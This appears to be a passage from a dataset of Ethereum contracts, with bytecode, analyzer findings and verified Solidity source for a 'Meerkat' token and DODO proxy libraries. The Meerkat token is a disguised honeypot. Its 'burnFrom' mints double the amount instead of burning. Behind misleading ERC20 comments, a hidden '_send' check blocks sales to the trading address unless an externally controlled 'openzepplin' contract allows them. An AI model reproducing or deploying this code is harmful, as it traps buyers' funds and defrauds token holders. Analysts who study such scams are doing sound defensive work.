fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555086600760008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019c50505050505050505050505050919050565b6000612f9e82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139ae90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156131ee57600080fd5b6006600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561326157600080fd5b6006600086815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692506006600086815260200190815260200160002060040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613453576133ce6006600087815260200190815260200160002060020154600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139cc90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135a1565b61352060066000878152602001908152602001600020600301546135126006600089815260200190815260200160002060020154600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139cc90919063ffffffff16565b6139cc90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b846006600087815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f3a202fd4817e60ce3e0fb658303787ceba257ea7b3c4cff9f2033345473479a4600660008a81526020019081526020016000206002015488604051808381526020018281526020019250505060405180910390a460066000868152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600282016000905560038201600090556004820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561375857600080fd5b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561379557600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f15d80a013f22151bc7246e3bc132e12828cde19de98870475e3fa7084015272160405160405180910390a381600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156138b257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156138ee57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101515156139c257fe5b8091505092915050565b60008282111515156139da57fe5b8183039050929150505600a165627a7a72305820f90f2f919a9785b7493e0ac93e3babd898ff768b49699fd7fba932c55108226f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,418 |
0x1a6f252e30f0dac4cb0d8d7bded4b765a0965093
|
/**
*Submitted for verification at Etherscan.io on 2021-12-09
*/
// SPDX-License-Identifier: GNU GPLv3
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function zeroAddress() virtual external view returns (address){}
/**
* @dev Returns the zero address.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Meerkat is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burnFrom(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burnFrom (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burnFrom(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c457806370a08231146101e457806379cc67901461021a57005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610b33565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610ba0565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610bcc565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610ba0565b610581565b3480156101f057600080fd5b5061016a6101ff366004610c0d565b6001600160a01b031660009081526009602052604090205490565b34801561022657600080fd5b506100dc610235366004610ba0565b6105c5565b34801561024657600080fd5b506100f361069b565b34801561025b57600080fd5b5061014561026a366004610ba0565b6106a8565b34801561027b57600080fd5b5061014561028a366004610ba0565b6106de565b34801561029b57600080fd5b5061016a6102aa366004610c2a565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610c63565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610c63565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107c9565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610874565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610894565b6001600160a01b0384166000908152600960205260409020546104a69083610874565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610874565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610972565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610972565b61098d565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106415760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61064b8282610ab1565b6001600160a01b03821660009081526009602052604090205461066e9082610874565b6001600160a01b0383166000908152600960205260409020556005546106949082610874565b6005555050565b600180546102e290610c63565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610874565b6004546000906001600160a01b038481166101009092041614156107325760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610638565b3360009081526009602052604090205461074c9083610874565b33600090815260096020526040808220929092556001600160a01b038516815220546107789083610972565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081757600080fd5b505afa15801561082b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084f9190610c9e565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088357600080fd5b61088d8284610cd1565b9392505050565b6004546001600160a01b03828116610100909204161415806108e057506007546001600160a01b0383811691161480156108e057506004546001600160a01b0382811661010090920416145b8061092257506004546001600160a01b038281166101009092041614801561092257506006546001600160a01b03831660009081526009602052604090205411155b61096e5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610638565b5050565b600061097e8284610ce8565b9050828110156103e457600080fd5b6001600160a01b0383166109ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610638565b6001600160a01b038216610a505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610638565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae3610ada826002610d00565b60055490610972565b600555610b13610af4826002610d00565b6001600160a01b03841660009081526009602052604090205490610972565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b81811015610b6057858101830151858201604001528201610b44565b81811115610b72576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b9d57600080fd5b50565b60008060408385031215610bb357600080fd5b8235610bbe81610b88565b946020939093013593505050565b600080600060608486031215610be157600080fd5b8335610bec81610b88565b92506020840135610bfc81610b88565b929592945050506040919091013590565b600060208284031215610c1f57600080fd5b813561088d81610b88565b60008060408385031215610c3d57600080fd5b8235610c4881610b88565b91506020830135610c5881610b88565b809150509250929050565b600181811c90821680610c7757607f821691505b60208210811415610c9857634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610cb057600080fd5b815161088d81610b88565b634e487b7160e01b600052601160045260246000fd5b600082821015610ce357610ce3610cbb565b500390565b60008219821115610cfb57610cfb610cbb565b500190565b6000816000190483118215151615610d1a57610d1a610cbb565b50029056fea264697066735822122057c66a94af2cc51518f466a5440d67d582053446c870b32515f17c147708de4364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,419 |
0x72c279efFA5D0499F9Eb27a3D3d1214491AC3632
|
/**
*Submitted for verification at Etherscan.io on 2021-05-06
*/
// File: contracts/intf/IDODOApprove.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
require(_IS_ALLOWED_PROXY_[msg.sender], "DODOApproveProxy:Access restricted");
IDODOApprove(_DODO_APPROVE_).claimTokens(
token,
who,
dest,
amount
);
}
function isAllowedProxy(address _proxy) external view returns (bool) {
return _IS_ALLOWED_PROXY_[_proxy];
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/intf/IWETH.sol
interface IWETH {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 wad
) external returns (bool);
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/SmartRoute/lib/UniversalERC20.sol
